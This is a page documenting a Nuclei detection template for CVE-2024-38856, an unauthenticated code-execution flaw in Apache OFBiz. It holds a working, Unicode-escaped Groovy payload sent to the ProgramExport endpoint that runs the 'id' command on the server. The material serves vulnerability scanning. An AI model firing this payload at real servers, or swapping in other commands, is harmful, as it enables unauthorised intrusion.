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Apache OFBiz - Remote Code Execution

ID: CVE-2024-38856

Severity: critical

Author: Co5mos

Tags: cve,cve2024,ofbiz,apache,rce,kev

Description

Section titled “Description”

Incorrect Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to version 18.12.15, which fixes the issue. Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don’t explicitly check user’s permissions because they rely on the configuration of their endpoints).

YAML Source

Section titled “YAML Source”
id: CVE-2024-38856


info:
  name: Apache OFBiz - Remote Code Execution
  author: Co5mos
  severity: critical
  description: |
    Incorrect Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to version 18.12.15, which fixes the issue. Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).
  reference:
    - https://unam4.github.io/2024/08/05/CVE-2024-38856-ofbiz-12-14-filter%E7%BB%95%E8%BF%87%E5%88%B0rce/
    - https://issues.apache.org/jira/browse/OFBIZ-13128
    - https://lists.apache.org/thread/olxxjk6b13sl3wh9cmp0k2dscvp24l7w
    - https://ofbiz.apache.org/download.html
    - https://ofbiz.apache.org/security.html
  classification:
    epss-score: 0.00045
    epss-percentile: 0.16306
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="Apache_OFBiz"
    product: ofbiz
    vendor: apache
  tags: cve,cve2024,ofbiz,apache,rce,kev


http:
  - raw:
      - |
        POST /webtools/control/main/ProgramExport HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'


      - type: word
        part: body
        words:
          - 'java.lang.Exception'


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a242cb003bb9f74c55e3d0b9c27e88ae9be695fc1a3c0c77b45f4e8803e1d4f402210087d1b9dda5efe7c2f80b32d95a74efcd3a9d3a59d1a8afc51130509acfa62e1a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-38856.yaml"

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